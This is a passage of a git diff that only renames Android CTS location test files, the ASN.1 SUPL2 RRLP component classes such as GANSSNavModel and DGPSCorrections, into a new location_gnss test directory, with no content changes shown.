rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CommonGANSSAssistance.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CommonGANSSAssistance.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ControlHeader.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ControlHeader.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ControlHeader.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ControlHeader.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSExtensionSgnElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGANSSExtensionSgnElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSExtensionSgnElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGANSSExtensionSgnElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSExtensionSgnTypeElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGANSSExtensionSgnTypeElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSExtensionSgnTypeElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGANSSExtensionSgnTypeElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSSgnElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGANSSSgnElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSSgnElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGANSSSgnElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSCorrections.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGPSCorrections.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSCorrections.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGPSCorrections.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSCorrectionsValidityPeriod.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGPSCorrectionsValidityPeriod.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSCorrectionsValidityPeriod.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGPSCorrectionsValidityPeriod.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSExtensionSatElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGPSExtensionSatElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSExtensionSatElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGPSExtensionSatElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EOTDQuality.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/EOTDQuality.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EOTDQuality.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/EOTDQuality.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EnvironmentCharacter.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/EnvironmentCharacter.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EnvironmentCharacter.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/EnvironmentCharacter.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EphemerisSubframe1Reserved.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/EphemerisSubframe1Reserved.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EphemerisSubframe1Reserved.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/EphemerisSubframe1Reserved.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ErrorCodes.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ErrorCodes.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ErrorCodes.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ErrorCodes.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ExpOTDUncertainty.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ExpOTDUncertainty.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ExpOTDUncertainty.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ExpOTDUncertainty.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ExpectedOTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ExpectedOTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ExpectedOTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ExpectedOTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Extended_reference.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Extended_reference.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Extended_reference.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Extended_reference.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FineRTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/FineRTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FineRTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/FineRTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FixType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/FixType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FixType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/FixType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FrameDrift.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/FrameDrift.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FrameDrift.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/FrameDrift.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FrameNumber.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/FrameNumber.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FrameNumber.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/FrameNumber.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAddIonosphericModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAddIonosphericModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAddIonosphericModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAddIonosphericModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAddUTCModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAddUTCModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAddUTCModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAddUTCModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoices.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoices.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoices.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoices.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoicesForOneGANSS.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoicesForOneGANSS.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoicesForOneGANSS.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoicesForOneGANSS.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAlmanacElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAlmanacElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAlmanacElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAlmanacElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAlmanacModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAlmanacModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAlmanacModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAlmanacModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistance.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAssistance.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistance.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAssistance.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAssistanceData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAssistanceData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceForOneGANSS.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAssistanceForOneGANSS.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceForOneGANSS.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAssistanceForOneGANSS.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAssistanceSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAssistanceSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAuxiliaryInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAuxiliaryInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAuxiliaryInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAuxiliaryInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSClockModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSClockModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSClockModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSClockModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSCommonAssistData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSCommonAssistData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSCommonAssistData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSCommonAssistData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBit.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDataBit.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBit.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDataBit.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBitAssist.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDataBitAssist.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBitAssist.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDataBitAssist.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBitsSgnElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDataBitsSgnElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBitsSgnElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDataBitsSgnElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDeltaElementList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDeltaElementList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDeltaElementList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDeltaElementList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDeltaEpochHeader.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDeltaEpochHeader.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDeltaEpochHeader.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDeltaEpochHeader.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDiffCorrections.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDiffCorrections.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDiffCorrections.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDiffCorrections.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDiffCorrectionsValidityPeriod.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDiffCorrectionsValidityPeriod.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDiffCorrectionsValidityPeriod.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDiffCorrectionsValidityPeriod.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEarthOrientParam.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEarthOrientParam.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEarthOrientParam.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEarthOrientParam.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaBitSizes.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisDeltaBitSizes.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaBitSizes.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisDeltaBitSizes.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaEpoch.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisDeltaEpoch.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaEpoch.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisDeltaEpoch.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaMatrix.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisDeltaMatrix.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaMatrix.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisDeltaMatrix.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaScales.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisDeltaScales.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaScales.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisDeltaScales.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisExtension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisExtension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionCheck.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisExtensionCheck.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionCheck.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisExtensionCheck.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionHeader.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisExtensionHeader.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionHeader.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisExtensionHeader.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisExtensionTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisExtensionTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSGenericAssistDataElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSGenericAssistDataElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSGenericAssistDataElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSGenericAssistDataElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonoStormFlags.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSIonoStormFlags.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonoStormFlags.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSIonoStormFlags.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonosphereModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSIonosphereModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonosphereModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSIonosphereModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonosphericModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSIonosphericModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonosphericModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSIonosphericModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSLocationInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSLocationInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSLocationInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSLocationInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSMeasureInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSMeasureInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSMeasureInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSMeasureInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSModelID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSModelID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSModelID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSModelID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSNavModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSNavModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSNavModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSNavModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSOrbitModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSOrbitModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSOrbitModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSOrbitModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositionMethod.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSPositionMethod.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositionMethod.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSPositionMethod.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositionMethods.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSPositionMethods.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositionMethods.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSPositionMethods.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositioningMethod.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSPositioningMethod.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositioningMethod.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSPositioningMethod.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositioningMethodTypes.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSPositioningMethodTypes.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositioningMethodTypes.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSPositioningMethodTypes.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRealTimeIntegrity.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRealTimeIntegrity.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRealTimeIntegrity.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRealTimeIntegrity.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefLocation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRefLocation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefLocation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRefLocation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefMeasurementAssist.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRefMeasurementAssist.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefMeasurementAssist.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRefMeasurementAssist.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefMeasurementElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRefMeasurementElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefMeasurementElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRefMeasurementElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefTimeInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRefTimeInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefTimeInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRefTimeInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSReferenceOrbit.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSReferenceOrbit.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSReferenceOrbit.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSReferenceOrbit.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSReferenceTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSReferenceTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSReferenceTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSReferenceTime.java
